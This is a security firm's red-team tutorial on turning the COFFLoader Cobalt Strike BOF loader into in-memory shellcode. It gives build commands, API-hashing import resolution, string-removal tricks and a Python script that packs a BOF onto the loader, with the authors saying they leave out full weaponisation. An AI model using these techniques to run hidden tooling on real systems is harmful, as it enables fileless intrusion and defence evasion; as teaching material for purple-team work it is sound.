BOF2shellcode — a tutorial converting a stand-alone BOF loader into shellcode
BOF2shellcode — a tutorial converting a stand-alone BOF loader into shellcode

TL;DR — At FalconForce we love purple teaming, meaning that we engage in both red teaming and blue teaming. For the red teaming we often have a need to run offensive tools on a target machine without dropping the tool on disk. One way to do that is to convert an existing executable into shellcode using donut, and executing that shellcode in memory. Another method is to use CobaltStrike BOFs, but this is limited to use only within CobaltStrike. In this blog we want to walk through another method which we are experimenting with: converting BOFs into shellcode. We will do this by converting an existing BOF loader tool (COFFLoader) written in C to shellcode and then use this method to write our own loader that can convert Cobaltstrike BOFs into shellcode. If you are just interested in the PoC tool, it is available in this Github repository. Note that this is just a PoC and it is probably not suited for use in a real red teaming engagement, but it should get you a very good head start if you want to use this technique.

The Blog is written in a tutorial format so you can follow along, hopefully learning a few new tricks related to C to Shellcode conversion along the way.

The source code for each step is available in a public GitHub repository; each section references a specific commit showing the code at that specific point in time.

Introduction — What is shellcode?

Shellcode are raw machine instructions that can run without any external dependencies, simply by putting them in memory and executing them.

Traditionally, shellcode was written in assembly and was only a few hundred bytes long. An example of this is shellcode that will launch calc.exe or cmd.exe; as can be seen, for example, here: https://www.exploit-db.com/exploits/40549. This way of writing shellcode in assembly language is hard to scale up to larger tools. What we want to investigate in this blog is another method: using C code to generate shellcode.

How to convert C code into shellcode

When C code is compiled the code is translated into assembly/machine code. It would be nice to use this generated code as shellcode, but there are a few issues with this:

  • The output generated is an .exe file (PE file) that contains more than just raw instructions, it also contains other things such as imports of functions from DLLs.
  • The output will generate multiple segments, some containing code like the .text segment but others containing data. The code assumes that the other segments are loaded at specific relative offsets which will not be the case when we execute shellcode.
  • The output is typically very large including implementations for standard functions that we don’t really need.

Luckily, techniques exist to work around these issues and use the C compiler to generate shellcode, even for relatively complex projects. Some examples of these techniques can be found in the C-To-Shellcode-Examples Github repository of https://twitter.com/thefLinkk at Code White.

In the remainder of this blog post we will walk through applying these techniques to convert an example C program to shellcode. To make this interesting we won’t be using a “hello world”-like example, but instead we will convert an open source Cobaltstrike BOF loader called COFFLoader, created by TrustedSec, to shellcode; so that we can use this to load any Cobaltstrike BOF from raw shellcode (if this feels like inception, that’s OK – hopefully it will become clear later).

Getting started converting COFFLoader to shellcode

When we clone the COFFLoader repository we can see it is implemented in a number of files:

  • COFFLoader.c is responsible for loading a CobaltStrike BOF (which is actually a COFF file) into memory.
  • beacon_compatibility.c is responsible for implementing the special functions such as BeaconPrintf that the BOF can use to interact with the CobaltStrike beacon. These are replaced with stand-alone implementations since there will be no CobaltStrike beacon available.

For this tutorial we will go step by step in modifying this COFFLoader into shellcode.

The first preparation step is to extract only the files we need into a new project:

  • COFFLoader.c
  • COFFLoader.h
  • beacon.h
  • beacon_compatibility.c
  • beacon_compatibility.h
  • Makefile

Then we modify the Makefile to only build the COFFLoader executable, we will only build the 64-bit version since that is what we will be using 99% of the time anyway.

all: bof
bof:
x86_64-w64-mingw32-gcc -Wall -DCOFF_STANDALONE beacon_compatibility.c COFFLoader.c -o COFFLoader64.exe

We can then build the COFFLoader64.exe using the Makefile. Building relies on the mingw compiler. On Mac this can be installed using the “mingw-w64” homebrew package. On Windows an easy way to install this is to use MSYS2 and then install the “mingw-w64-x86_64-toolchain” package.

% make
x86_64-w64-mingw32-gcc -Wall -DCOFF_STANDALONE beacon_compatibility.c COFFLoader.c -o COFFLoader64.exe

We can then use this COFFLoader64.exe to load a CobaltStrike BOF. For testing I used the tasklist.x64.o BOF from the CS-Situational-Awareness collection, also by the great people at TrustedSec. This BOF will output a list of the running processes on the system.

Indeed, we can run that BOF standalone using COFFLoader64.exe:

COFFLoader64.exe go tasklist.x64.o | c:\msys64\usr\bin\head.exe
Got contents of COFF file
Running/Parsing the COFF file
Ran/parsed the coff
Outdata Below:
Name                              ProcessId  ParentProcessId  SessionId CommandLine
System Idle Process 0 0 0 (NULL)
System 4 0 0 (NULL)
Registry 92 4 0 (NULL)
smss.exe 348 4 0 (NULL)

Now that we got this working let’s start our journey to convert COFFLoader64 into shellcode.

If you want to follow along in the code you can use the 40d87c8611e6baf97d68e3f47cc7c615643ed5ef commit to get the code at this point in time.

Step 1 — Modify the compiler flags

We can modify the compiler options to limit external dependencies, for example by telling it not to include the C standard library (stdlib) into the executable. Because we want to make the conversion step by step and keep testing the functionality along the way we add a second build target to the Makefile which will build the C file using these extra options:

bofshellcode:
x86_64-w64-mingw32-gcc -Wall -DCOFF_STANDALONE -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 beacon_compatibility.c COFFLoader.c -o COFFLoader64.bin -Wl,--no-seh

Now we can try building using this new target:

% make bofshellcode 2>&1 | sed 's!/usr.*.): !!'
x86_64-w64-mingw32-gcc -Wall -DCOFF_STANDALONE -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 beacon_compatibility.c COFFLoader.c -o COFFLoader64.exe -Wl,--no-seh
undefined reference to `memset'
undefined reference to `free'
undefined reference to `memcpy'
undefined reference to `__mingw_vsnprintf'
undefined reference to `__mingw_vsnprintf'
undefined reference to `realloc'
undefined reference to `memset'
undefined reference to `memcpy'
undefined reference to `__imp___acrt_iob_func'
undefined reference to `__mingw_vfprintf'
undefined reference to `__mingw_vsnprintf'
undefined reference to `realloc'
undefined reference to `memset'
undefined reference to `__mingw_vsnprintf'
undefined reference to `__imp_SetThreadToken'
undefined reference to `__imp_RevertToSelf'
undefined reference to `__imp_CloseHandle'
undefined reference to `calloc'
undefined reference to `__imp_CreateProcessA'
undefined reference to `__imp_CreateProcessA'
undefined reference to `__imp___acrt_iob_func'
undefined reference to `__mingw_vfprintf'
undefined reference to `strlen'
undefined reference to `calloc'
undefined reference to `strtol'
undefined reference to `strlen'
undefined reference to `fopen'
undefined reference to `fseek'
undefined reference to `ftell'
undefined reference to `fseek'
undefined reference to `calloc'
undefined reference to `fread'
undefined reference to `fclose'
undefined reference to `calloc'
undefined reference to `memcpy'
undefined reference to `free'
undefined reference to `strlen'
undefined reference to `memcpy'
undefined reference to `strcmp'
undefined reference to `strtok'
undefined reference to `strtok'
undefined reference to `strtok'
undefined reference to `__imp_LoadLibraryA'
undefined reference to `__imp_GetProcAddress'
undefined reference to `__imp_VirtualAlloc'
undefined reference to `memcpy'
undefined reference to `strcmp'
undefined reference to `__imp_VirtualFree'
undefined reference to `__imp_VirtualAlloc'
undefined reference to `__main'
undefined reference to `free'
collect2: error: ld returned 1 exit status
make: *** [bofshellcode] Error 1

Those are a lot of errors; to break this down we can divide these errors into two categories:

  • External dependencies that are normally imported from DLLs, such as LoadLibraryA and GetProcAddress.
  • Standard library functions that no longer exist such as memcpy and strlen.

We will start by fixing the external dependencies.

If you want to follow along in the code you can use the b1485095f57876f3ddf0c9f79c360cbf1c22199a commit to get the code at this point in time.

Step 2 —Replace external DLL-loaded dependencies

To get rid of the dependencies that are typically loaded from external DLLs we will have to replace these with code that will dynamically load these DLLs at run-time and look up the address of the relevant functions.

A nice wrapper to do this is available in the C-To-Shellcode repository in the ApiResolve.c and ApiResolve.h files. We can copy these into our project and add them to the Makefile.

This wrapper can load external functions from a DLL. Instead of relying on the function name it relies on a hash of the function name to identify it in the library. A reason for this is that there are issues with using a lot of string constants in shellcode (as we will see later). The hash function used is called DJB2 hash. This is a very simple hash function that can be implemented in a few lines of code. It will produce a 32-bit number for any string we input into it.

If we want to add our own function names we will have to be able to compute the DJB2 hash of these function names. We can use a python implementation of DJB2 hash, based on a github gist to do this.

import sys
def hash_djb2(s):
hash = 5381
for x in s:
hash = (( hash << 5) + hash) + ord(x)
hash = hash & 0xFFFFFFFF
return hash
h = hash_djb2(sys.argv[1])
print(hex(h))

To replace a call to an external function using ApiResolve we need to do the following:

  • Check which DLL the function resides in.
  • Add logic to load the DLL in case it is not yet loaded.
  • Get the function signature.
  • Embed function signature in ApiResolve.h.
  • Compute the DJB2 hash of the function name.
  • Expose the function to the C code using a call to getFunctionPtr.
  • Call the function as normal.

Let’s do this step by step for the SetThreadToken function which is called by beacon_compatibility.c

To find the DLL the function resides in we can look it up in the Microsoft Win32 API documentation. In this case the documentation for SetThreadToken provides the following information:

So this function is located in Advapi32.dll.

Each DLL we use needs to be declared in ApiResolve.c and ApiResolve.h

In ApiResolve.h we need to add a hash value that will be used for the DLL. We can use the hash.py script we made earlier to compute this:

python3 hash.py AdvApi32.dll
0xb926be09

Add this to ApiResolve.h:

// AdvApi
#define HASH_ADVAPI 0xb926be09

Now we also need to add the code to load this DLL to ApiResolve.c in the loadDll function:

if (dll_hash == HASH_ADVAPI) {
char dll_name[] = { 'A', 'd', 'v', 'A', 'p', 'i', '3', '2', '.', 'd','l','l',0x00 };
ptr_loaded_dll = (uint64_t)((LOADLIBRARYA)fptr_loadLibary)(dll_name);
}

The reason for including the “AdvApi32.dll” string like this as a list of individual characters is to “trick” the compiler into putting this string in the code segment of the output program. We will see later on that we need this trick for all strings embedded in the executable.

Now we are ready to use our function. To do so, we have to add the function signature to ApiResolve.h. For this we need the function signature. This is available in the same Microsoft documentation where we obtained the DLL name earlier:

BOOL SetThreadToken(
[in, optional] PHANDLE Thread,
[in, optional] HANDLE Token
);

This needs to be converted into a typedef like this:

typedef <return-type>(WINAPI* t<FunctionName>)(<Argument-type-1>,..)

For this example:

typedef BOOL(WINAPI* tSetThreadToken)(PHANDLE, HANDLE);

Now we need to add the hash of the function to APIResolve.h. First compute the hash:

python3 hash.py SetThreadToken
0x575b17ca

Now add it to APIResolve.h:

#define HASH_SetThreadToken 0x575b17ca

To use the function we need to replace the caller in beacon_compatibility.c.

The original code that uses the function imported from the DLL:

SetThreadToken(NULL, token);

Needs to be replaced with this:

tSetThreadToken _SetThreadToken = (tSetThreadToken)getFunctionPtr(HASH_ADVAPI32, HASH_SetThreadToken);
_SetThreadToken(NULL, token);

This new code will look up the function at run-time and call it.

We repeat this process for the following external functions:

  • SetThreadToken
  • RevertToSelf
  • CloseHandle
  • CreateProcessA
  • LoadLibraryA
  • GetProcAddress
  • VirtualAlloc
  • VirtualFree

We can also use it for printf which is available from the MSVCRT DLL.

After these modifications we still cannot build the shellcode version of COFFLoader64, but we can see there are now less import errors. We can confirm everything still works by building the regular .exe version which now also will use the run-time imported DLL functions because of the modifications we made.

Luckily this still works:

COFFLoader64.exe go tasklist.x64.o | c:\msys64\usr\bin\head.exe
Got contents of COFF file
Running/Parsing the COFF file
Ran/parsed the coff
Outdata Below:
Name                              ProcessId  ParentProcessId  SessionId CommandLine
System Idle Process 0 0 0 (NULL)
System 4 0 0 (NULL)
Registry 92 4 0 (NULL)
smss.exe 348 4 0 (NULL)

If you want to follow along in the code you can use the 6331d2b43e9a19fbd20df05a6919d68279c2dbc4 commit to get the code at this point in time.

Step 3 —Get rid of standard library functions

When we try to build the shellcode version at this point, we still get a lot of errors related to standard library functions that no longer exist:

undefined reference to `__imp___acrt_iob_func'
undefined reference to `__main'
undefined reference to `__mingw_vfprintf'
undefined reference to `__mingw_vsnprintf'
undefined reference to `calloc'
undefined reference to `fclose'
undefined reference to `fopen'
undefined reference to `fread'
undefined reference to `free'
undefined reference to `fseek'
undefined reference to `ftell'
undefined reference to `memcpy'
undefined reference to `memset'
undefined reference to `realloc'
undefined reference to `strcmp'
undefined reference to `strlen'
undefined reference to `strtok'
undefined reference to `strtol'

A number of these functions can be implemented quite simply in a few lines of code, for example strlen can be implemented like this:

size_t _strlen(const char *s) {
size_t i = 0;
while (1) {
if (s[i] == 0) {
return i;
}
i++;
}
}

While this might not win any code quality or performance contests, it’s good enough for us at this point. We can implement a small file ministdlib.c that will implement the following functions using a very simple implementation:

  • strlen
  • memcpy
  • memset
  • strcmp
  • strncmp
  • strlen

Some of the others are harder, but we can remove some of them: all the file related functions such as fopen, fclose, fread we won’t need. This is because they are used by COFFLoader64 to load the BOF from a file, but we want to load the BOF from memory in our loader; so we can just ignore those for now and replace them with the memory loading later. The strtol function is used to parse a hex string of arguments which we also won’t need since the arguments can be passed in binary format instead of hex format.

Strtok is a relatively complex function to implement, but we can replace its usage in the code with much simpler code since it’s only used to split a string using a $ as delimiter.

We can again confirm that the COFFLoader64.exe is still working after these modifications by running it.

And it still works:

COFFLoader64.exe go tasklist.x64.o | c:\msys64\usr\bin\head.exe
Got contents of COFF file
Running/Parsing the COFF file
Ran/parsed the coff
Outdata Below:
Name                              ProcessId  ParentProcessId  SessionId CommandLine
System Idle Process 0 0 0 (NULL)
System 4 0 0 (NULL)
Registry 92 4 0 (NULL)
smss.exe 348 4 0 (NULL)

If you want to follow along in the code you can use the ff196c0831b2b4e2fc777764941eaf074c1693c3 commit to get the code at this point in time.

Step 4 — Getting rid of the final external dependencies

When we try to build the shellcode version of the COFFLoader we are still getting errors because of external dependencies:

undefined reference to `__imp___acrt_iob_func'
undefined reference to `__main'
undefined reference to `__mingw_vfprintf'
undefined reference to `__mingw_vsnprintf'
undefined reference to `calloc'
undefined reference to `fclose'
undefined reference to `fopen'
undefined reference to `fread'
undefined reference to `free'
undefined reference to `fseek'
undefined reference to `ftell'
undefined reference to `realloc'
undefined reference to `strtol'

We will start by removing the file reading and hex decoding of the arguments since we won’t need them in our final loader. To be able to keep testing by running the .exe version we will put this functionality behind a build flag called EXEVERSION that we only set when building the .exe version, but not when building the shellcode version.

#ifdef EXEVERSION
unsigned char* unhexlify(unsigned char* value, int *outlen) {
...
#ifdef EXEVERSION
coff_data = (char*)getContents(argv[2], &filesize);
if (coff_data == NULL) {
return 1;
}
printf("Got contents of COFF file\n");
arguments = unhexlify((unsigned char*)argv[3], &argumentSize);
#else
// TODO get BOF file and arguments from memory somehow
#endif

This gets rid of a lot of the errors, we are now left with:

undefined reference to `__imp___acrt_iob_func'
undefined reference to `__main'
undefined reference to `__mingw_vfprintf'
undefined reference to `__mingw_vsnprintf'
undefined reference to `calloc'
undefined reference to `free'
undefined reference to `realloc'

Many of these originate from a relatively complex BeaconPrintf and BeaconOutput implementation in beacon_compatibility.c. For now, we are going to simplify this greatly by just replacing it with a function that prints directly to stdout:

void BeaconPrintf(int type, char* fmt, ...) {
tprintf _printf = (tprintf)getFunctionPtr(HASH_MSVCRT, HASH_printf);
va_list args;
va_start(args, fmt);
_printf(fmt, args);
va_end(args);
return;
}
void BeaconOutput(int type, char* data, int len) {
return;
}

This will print the output to stdout. If you want to build a fully ‘weaponized’ version of the loader you will want to replace this with something else, but for now this is good enough for our purposes.

Similarly, for now we will remove the BeaconFormatAlloc, BeaconFormatFree and BeaconFormatPrintf functionality. We can implement it again later if we need. After cleaning up a few other small things, like removing a free of coff_data at the end of main, we are finally left with only one error when we try to build the shellcode version:

undefined reference to `__main'

We can still run the .exe version to confirm everything is working.

If you want to follow along in the code you can use the 1ded598d7851c7fa6cceb0a71a0c5892c6eb1248 commit to get the code at this point in time.

Step 5— Calling the main function

Normally, when a binary runs, the main function is called, passing in the arguments such as ‘argv’. For the shellcode, we want it just to run at the start of the exectuable. There is a nice small wrapper called adjstack.asm in the C-To-Shellcode repository that can help with this. We will include it and then modify the Makefile so it is used. In order to combine asm and C code in one file we need to split the Makefile into multiple steps.

bofshellcode:
nasm -f win64 adjuststack.asm -o adjuststack.o
x86_64-w64-mingw32-gcc -Wall -DCOFF_STANDALONE -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 ministdlib.c -c -o ministdlib.o -Wl,--no-seh -g2
x86_64-w64-mingw32-gcc -Wall -DCOFF_STANDALONE -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 ApiResolve.c -c -o ApiResolve.o -Wl,--no-seh -g2
x86_64-w64-mingw32-gcc -Wall -DCOFF_STANDALONE -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 beacon_compatibility.c -c -o beacon_compatibility.o -Wl,--no-seh -g2
x86_64-w64-mingw32-gcc -Wall -DCOFF_STANDALONE -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 COFFLoader.c -c -o COFFLoader.o -Wl,--no-seh -g2
x86_64-w64-mingw32-ld -s adjuststack.o ministdlib.o ApiResolve.o beacon_compatibility.o COFFLoader.o -o bofloader.exe

The g2 option added will embed some additional debug information which will come in handy at a later stage.

We need to rename main to go in COFFLoader.c. We will do this based on the EXEVERSION build flag we added earlier:

#ifdef EXEVERSION
int main(int argc, char* argv[]) {
#else
int go(void) {
#endif

Now we don’t get any errors when compiling and we get a ‘bofloader.exe’ file that contains our shellcode.

As discussed before, an .exe file contains more than just raw instructions; so we need to extract these from the file. Luckily there is a build tool objcopy that can do just this. The shellcode is located in the .text section of the executable. We can extract the shellcode using objcopy like this:

x86_64-w64-mingw32-objcopy bofloader.exe --dump-section .text=bofloader.bin

This results in a nice small 4KB file containing raw shellcode 🙂

To run a shellcode we need a simple shellcode loader, for example the one in this Github gist. We can compile it and use the loader to test our shellcode.

x86_64-w64-mingw32-gcc shellcodeLoader.c -o shellcodeLoader.exe

Unfortunately, when we try to run this shellcode using a simple shellcode it will crash.

.\shellcodeLoader.exe bofloader.bin
<... no output process crashes ...>

We will find out why in the next section and try to fix it.

If you want to follow along in the code you can use the 932def0efa0ef2eba88e04a0a51ed9e9c3664182 commit to get the code at this point in time.

Step 6— Remove string constants

If we want to understand why our shellcode crashes we will need to look at some disassembly. The objdump tool can be used to disassemble a file:

% objdump -l -d bofloader.exe -b pe-x86-64 -M intel
bofloader.exe:     file format pei-x86-64
Disassembly of section .text:
0000000000401000 <.text>:
401000: 56 push rsi
401001: 48 89 e6 mov rsi,rsp
401004: 48 83 e4 f0 and rsp,0xfffffffffffffff0
401008: 48 83 ec 20 sub rsp,0x20
40100c: e8 1f 0d 00 00 call 0x401d30
401011: 48 89 f4 mov rsp,rsi
....

The shellcode lives in the .text segment. The issue lies in the fact that it is still trying to access memory from other segments which will not be present when the binary runs as shellcode.

An example of such memory access is this:

4012eb: <..>    lea    rcx,[rip+0x2d36]        # 0x404028
4012f2: <..> call 0x401b50

This accesses memory at address 0x404028 which is outside of the .text segment. In this case this is located in the .rdata segment:

% objdump -s -j .rdata bofloader.exe
Contents of section .rdata:
404000 433a5c57 696e646f 77735c53 7973574f C:\Windows\SysWO
404010 5736345c 72756e64 6c6c3332 2e657865 W64\rundll32.exe
404020 00000000 00000000 433a5c57 696e646f ........C:\Windo
404030 77735c53 79737465 6d33325c 72756e64 ws\System32\rund

So this points to a string constant c:\windows\…

The issue here is that string constants are placed in a separate section by the C compiler that will not be available in the shellcode. A way to fix this is to use a trick we also saw earlier: using a char array instead of a string, for example:

_printf("Running/Parsing the COFF file\n");

We can replace with:

char msg[] = {'R','u','n','n','i','n','g','/','P','a','r','s','i','n','g',' ','t','h','e',' ','C','O','F','F',' ','f','i','l','e',0x0a, 0x00};
_printf(msg);

If declared in this way, the C compiler will place the ‘string’ in the .text segment, avoiding the need for a reference to another segment.

A small helper script to do this for a string can be written in python:

import sys
o = 'char msg[] = {'
o += ','.join(map(repr,sys.argv[1].replace('\\n','\n')))
o += ', 0x00'
o = o.replace("'\\n'",'0x0a')
o += '};'
print(o)

To get an idea of how many of these references to code outside of the .text segment there are in the code, we can use this:

% objdump -M intel -d bofloader.exe | grep -P '# 0x40[345]' | wc -l
24

Let’s see if we can get this number down by going through the code and replacing any strings using this method. Note that the strings in the DEBUG_PRINT statements can remain as-is since these will not be added to the shellcode build anyway since we don’t build it with DEBUG enabled.

One optimisation that can also be made at this step is to get rid of the “go” argument we need to pass in since that argument is always the same anyway. Likewise, there is some code to distinguish between 64 and 32-bit payloads that can be removed since we only support 64-bit.

In some cases we also opted for removing functionality, for example BeaconGetSpawnTo contains string references, but won’t be supported for now so we just comment out this function.

By doing these replacements we can get our number down quite a bit:

objdump -M intel -d bofloader.exe | grep -P '# 0x40[345]' | wc -l                                                                                                                                                                                    
10

One of the harder functions to replace is the large ‘jump table’ in beacon_compatibility.c which contains a lot of string references:

unsigned char* InternalFunctions[25][2] = {
{(unsigned char*)"BeaconDataParse", (unsigned char*)BeaconDataParse},
{(unsigned char*)"BeaconDataInt", (unsigned char*)BeaconDataInt},
{(unsigned char*)"BeaconDataShort", (unsigned char*)BeaconDataShort},

This table looks up imports for ‘magic’ beacon functions. We decided to replace this with a table based on the DJB2 hash values of these functions, eliminating the need for any string constants here:

if (funchash == 0xaf1afdd2) {return (unsigned char*)BeaconDataInt;}; 

If you are having issues finding these references (as sometimes they can be hidden) we can use the debug information present in the .o files to identify the source lines responsible.

For example:

% objdump -l -d COFFLoader.o -b pe-x86-64 -M intel
...
COFFLoader.c:173
2a3: lea rcx,[rip+0x0] # 2aa <process_symbol+0x2aa>
2aa: call 2af <process_symbol+0x2af>
2af: lea rdx,[rip+0x0] # 2b6 <process_symbol+0x2b6>

This shows that on line 173 of COFFLoader.c there is something using data potentially from another segment.

After replacing all the string references we are still left with 5 external references:

objdump -M intel -d bofloader.exe | grep -P '# 0x40[345]' | wc -l
5

Let’s find out what is causing this and fix it in the next section.

If you want to follow along in the code you can use the 479d8b9f4532c7143817e4e5bba013337987460f commit to get the code at this point in time.

Step 7— Dealing with global variables

Using the objdump -l method mentioned above to view the debug symbols we can identify the source of the last 5 external references is in the beacon_compatibility.c file:

char* BeaconGetOutputData(int *outsize) {
char* outdata = beacon_compatibility_output;
*outsize = beacon_compatibility_size;
beacon_compatibility_output = NULL;
beacon_compatibility_size = 0;
beacon_compatibility_offset = 0;
return outdata;
}

The variables referenced here are global variables; these are also handled specially by the compiler. A special area called .bss is allocated for these variables which will not be there when we run the shellcode.

In this case there is a simple fix, namely to remove these global variables for now since the BeaconGetOutputData function is not used anyway (since all beacon output is printed directly to stdout).

After making this change our code is finally free of references to other sections:

objdump -M intel -d bofloader.exe | grep -P '# 0x40[345]' | wc -l
0

If you want to follow along in the code you can use the 708e349a784f00de5022698e31840883af22a5e5 commit to get the code at this point in time.

Step 8— Loading the BOF from memory

When we run our shellcode now, we actually get output and it doesn’t crash:

.\shellcodeLoader.exe bofloader.bin
Running shellcode
Running/Parsing the COFF file
Failed to run/parse the COFF file

However, it doesn’t work since it can’t find a BOF to load anymore. This is because we removed the part that reads the BOF from a file. What we want instead is to read it from memory. A simple way to implement this is to create the final shellcode by appending some additional data at the end:

  • Magic number to indicate end of shellcode and start of BOF information.
  • BOF length encoded as a raw 32-bit integer.
  • BOF data.

We can implement a search function that will start at the address of ‘go’ and looks for the magic number in memory. From there it can find the BOF length and the BOF data.

unsigned char* seek_offset = (unsigned char*) go; 
// Find the magic header 0xe9e63f1c in memory
while (1) {
if (seek_offset[0] == 0x1c &&
seek_offset[1] == 0x3f &&
seek_offset[2] == 0xe6 &&
seek_offset[3] == 0xe9) {
break;
}
seek_offset += 1;
}
filesize = *(uint32_t*)(seek_offset+4);
coff_data = seek_offset+8;

We can create a small python script that can convert a BOF into a shellcode version that consists of the loader we have been developing so far and these values:

#!/usr/bin/python3
#
import sys
import argparse
import struct
magic_hdr = 0xe9e63f1c # randomly generated header that marks the start of the BOF header
# Bof header:
# 4 bytes <magic_hdr> 0xe9e63f1c
# 4 byte <boff_len> (little endian encoded size of the BOF file in bytes)
# <boff_len> bytes BOF (raw BOF data)
def main():
parser = argparse.ArgumentParser(description='BOF2Shellcode')
parser.add_argument('-i', dest='bof_file', help='BOF Input File', type=str, required=True)
parser.add_argument('-o', dest='output_file', help='Output file to write to', required=True)
parser.add_argument('-l', dest='loader', help='Shellcode loader filename, default bofloader.bin', default='bofloader.bin')
args = parser.parse_args()
    payload = open(args.loader, 'rb').read()
bof_payload = open(args.bof_file, 'rb').read()
payload += struct.pack("<L", magic_hdr)
payload += struct.pack("<L", len(bof_payload))
payload += bof_payload
print(f"Writing {args.output_file}")
open(args.output_file, 'wb').write(payload)
if __name__ == '__main__':
main()

Now we can finally use this to convert the tasklist.x64.o BOF file into a raw shellcode:

python3 bof2shellcode.py -i tasklist.x64.o -o tasklist.x64.bin
Writing tasklist.x64.bin

And when we run this shellcode we get the desired tasklist output:

.\shellcodeLoader.exe tasklist.x64.bin | c:\msys64\usr\bin\head
Name                              ProcessId  ParentProcessId  SessionId CommandLine
System Idle Process 0 0 0 (NULL)
System 4 0 0 (NULL)
Registry 92 4 0 (NULL)
smss.exe 348 4 0 (NULL)
csrss.exe 464 456 0 (NULL)
wininit.exe 536 456 0 (NULL)
csrss.exe 544 528 1 (NULL)
winlogon.exe 628 528 1 (NULL)
services.exe 636 536 0 (NULL)

There are still some tasks left for fully implementing a BOF 2 shellcode convertor, mainly in re-implementing all the beacon_compatibility.c stuff so that functions such as BeaconSpawnTemporaryProcess work again. Also, the output handling should probably be changed to write either to a file or to some location in memory where the output can be retrieved once the BOF has completed running.

We purposely don’t include the steps to fully weaponise this in the tutorial, because our goal with this tutorial is to spread knowledge rather than offensive tooling.

Congrats to you if you read this all the way to the end 🙂

Knowledge center

Other articles

Together. Secure. Today.

Stay in the loop and sign up to our newsletter

FalconForce realizes ambitions by working closely with its customers in a methodical manner, improving their security in the digital domain.

Energieweg 3
3542 DZ Utrecht
The Netherlands

FalconForce B.V.
[email protected]
(+31) 85 044 93 34

KVK 76682307
BTW NL860745314B01